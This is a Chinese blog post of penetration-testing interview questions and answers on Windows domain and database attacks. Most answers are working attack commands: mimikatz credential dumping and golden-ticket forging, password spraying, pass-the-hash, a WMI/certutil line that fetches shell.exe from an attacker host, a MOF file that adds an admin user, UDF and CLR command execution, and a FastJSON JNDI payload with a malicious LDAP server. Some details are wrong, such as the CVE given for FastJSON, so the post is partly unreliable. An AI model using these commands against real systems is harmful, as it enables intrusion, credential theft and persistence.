2025年渗透测试面试题总结-97(题目+回答) - 详解

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

1. 仅通过CMD确认目标服务器可登录性

2. MySQL+PHP+Windows环境注入效率优化

3. mimikatz提取Hash的进程

4. 内网定位域控的10种方法

5. 非域环境定位域控

6. 内网横向移动5大方法

7. 未破解Hash的利用方法

8. 非常规端口GetShell方法

9. MSSQL禁用xp_cmdshell后的GetShell

10. MySQL MOF提权原理

11. UDF提权原理与条件

12. FastJSON漏洞利用

13. 黄金票据(Golden Ticket)详解

1、内网环境如果只有cmd和目标服务器的账号密码,如何确认目标服务器是否能登陆
2、对于MySQL+PHP+Windows的环境,如果存在注入,如何提高注入效率
3、mimikatz是从哪个进程抓的hash
4、如何在内网环境中找到域控(至少10种方法)
5、已知一公司环境存在域控,如果不在域环境内,如何寻找域控
6、内网渗透横向扩展有那几种方法(至少5种)
7、内网中,如果拿到一台机器或者多台机器的hash,如果hash没有解出来,还有别的利用方法吗
8、除了通过445,3389,21,22,23,80,8080,3306端口上部署的服务拿权限外,还可以通过什么端口什么服务拿到目标机的权限
9、mssql开启xpcmd无法写文件,还有什么方法可以getshell
10、mysql的mof提权原理
11、udf提权原理和条件
12、fastjson利用过
13、黄金票据是

1. 仅通过CMD确认目标服务器可登录性

# Windows 系统 net use \\目标IP\C$ /user:用户名 "密码" # 尝试挂载C盘 systeminfo /s 目标IP /u 用户名 /p "密码" # 获取系统信息 # Linux 系统 (需安装rsh-client) rsh -l 用户名 目标IP "id" # 执行远程命令

判断依据:命令成功执行(返回0)且输出有效信息即证明可登录。


2. MySQL+PHP+Windows环境注入效率优化

  • 盲注加速
    SELECT IF(ASCII(SUBSTR(database(),1,1))=115, BENCHMARK(5000000,MD5('x')),1)
    • 利用BENCHMARK()制造时间延迟,减少请求次数
  • 批量提取
    • 使用GROUP_CONCAT()一次性获取所有表名/字段
    • 结合INTO OUTFILE直接导出数据(需写权限)
  • 工具自动化
    • sqlmap参数:--threads 10 --batch --risk 3 --level 5

3. mimikatz提取Hash的进程

LSASS进程(Local Security Authority Subsystem Service)

  • 内存中存储明文密码/NTLM Hash
  • 执行命令:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

4. 内网定位域控的10种方法

方法命令/操作
1. DNS SRV记录查询nslookup -type=SRV _ldap._tcp.dc._msdcs. 域名
2. NetBIOS扫描nbtstat -A 目标IP
3. LDAP默认端口探测telnet 目标IP 389
4. Kerberos端口探测telnet 目标IP 88
5. 查询当前域控net group "Domain Controllers" /domain
6. SMB服务标识smbclient -L //目标IP/ -N
7. SPN扫描setspn -T 域名 -Q */*
8. 组策略对象定位gpresult /R 或检查 \\域名\SYSVOL
9. 时间服务源w32tm /monitor
10. 活动目录站点拓扑nltest /dsgetsite

5. 非域环境定位域控

  • DNS侦查
    dig @DNS服务器IP 域名 axfr # 尝试区域传输
  • 端口扫描:扫描389(LDAP)、636(LDAPS)、88(Kerberos)、445(SMB)端口
  • LLMNR/NBNS毒化:工具Responder监听获取域控身份认证
  • SMB匿名枚举
    crackmapexec smb 目标IP --shares -u '' -p ''

6. 内网横向移动5大方法

  1. 密码喷射攻击
    • 工具:CrackMapExec
    crackmapexec smb IP段 -u userlist.txt -p 'Password123!'
  2. Pass-the-Hash (PtH)
    • 工具:psexec.py
    psexec.py -hashes :NTLM_HASH 域名/用户@目标IP
  3. 服务漏洞利用
    • MS17-010、MS08-067等永恒之蓝系列漏洞
  4. WMI远程执行
    wmic /node:目标IP process call create "cmd.exe /c certutil -urlcache -split -f http://攻击机/shell.exe"
  5. 计划任务部署
    schtasks /create /s 目标IP /u 域用户 /p 密码 /tn 任务名 /tr "C:\shell.exe" /sc once /st 00:00

7. 未破解Hash的利用方法

  • Pass-the-Hash (PtH)
    mimikatz.exe "sekurlsa::pth /user:管理员 /domain:目标域 /ntlm:HASH"
  • Overpass-the-Hash:将NTLM Hash转为Kerberos TGT
  • 约束委派攻击:利用服务账户Hash请求可转发票据

8. 非常规端口GetShell方法

端口服务利用方式
5985/5986WinRMEvil-WinRM或Powershell Remoting
135RPCDCOM横向移动(如MMC20.Application)
1433MSSQLxp_cmdshell/CLR自动执行
5985WMIwmiexec.py 执行命令
47001Windows Remote Management同WinRM

9. MSSQL禁用xp_cmdshell后的GetShell

  • CLR程序集
    CREATE ASSEMBLY ExecCmd FROM 'C:\clr.dll' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE sp_cmdExec @cmd NVARCHAR (MAX) AS EXTERNAL NAME ExecCmd.StoredProcedures.CmdExec; EXEC sp_cmdExec 'whoami';
  • Agent Jobs提权
    EXEC msdb.dbo.sp_add_job @job_name='GetShell'; EXEC msdb.dbo.sp_add_jobstep @job_name='GetShell', @command='powershell -e JABzAC...'; EXEC msdb.dbo.sp_start_job 'GetShell';

10. MySQL MOF提权原理

  • 核心机制
    Windows每5秒检查C:\Windows\system32\wbem\mof\中的.mof文件并执行
  • 利用步骤
    1. 创建恶意MOF文件:
      #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "root\\cimv2"; Name = "filtP1"; Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "consP1"; RunInteractively=false; CommandLineTemplate="net user hacker P@ssw0rd /add"; };
    2. 写入目标路径:
      SELECT load_file('C:/shell.mof') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/shell.mof';

11. UDF提权原理与条件

  • 原理
    加载自定义DLL创建执行系统命令的函数(如sys_exec()
  • 必要条件
    • MySQL有FILE权限(secure_file_priv为空)
    • 目标系统与DLL架构匹配(32/64位)
    • DLL存放路径有写权限(如plugin_dir
  • 利用流程
    CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.dll'; SELECT sys_exec('cmd /c "net user > C:\\out.txt"');

12. FastJSON漏洞利用

  • 关键漏洞:反序列化时自动触发JNDI注入(CVE-2021-45046)
  • 利用步骤
    1. 启动恶意LDAP服务(工具:marshalsec)
      java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://攻击机/#Exploit
    2. 发送PoC请求:
      { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://恶意IP/Exploit", "autoCommit": true }

13. 黄金票据(Golden Ticket)详解

graph LR A[获取krbtgt的NTLM Hash] --> B[伪造TGT] B --> C[添加任意用户到域管理员组] C --> D[访问域内任何资源]
  • 制作条件
    • 域SID(whoami /user
    • krbtgt账户的AES-256或NTLM Hash
  • 生成命令
    mimikatz.exe "kerberos::golden /user:伪造用户 /domain:域名 /sid:SID /krbtgt:Hash /ptt"
  • 防御措施:启用LSA保护、定期重置krbtgt密码(每180天)

附:黄金票据 vs 白银票据

特性黄金票据白银票据
所需Hashkrbtgt服务账户(如CIFS$)
访问范围全域资源特定服务(如文件共享)
有效期≤10年(默认)≤10小时(默认)
检测难度极高中等

posted on 2025-10-29 17:54  wgwyanfs  阅读(1)  评论(0)    收藏  举报

导航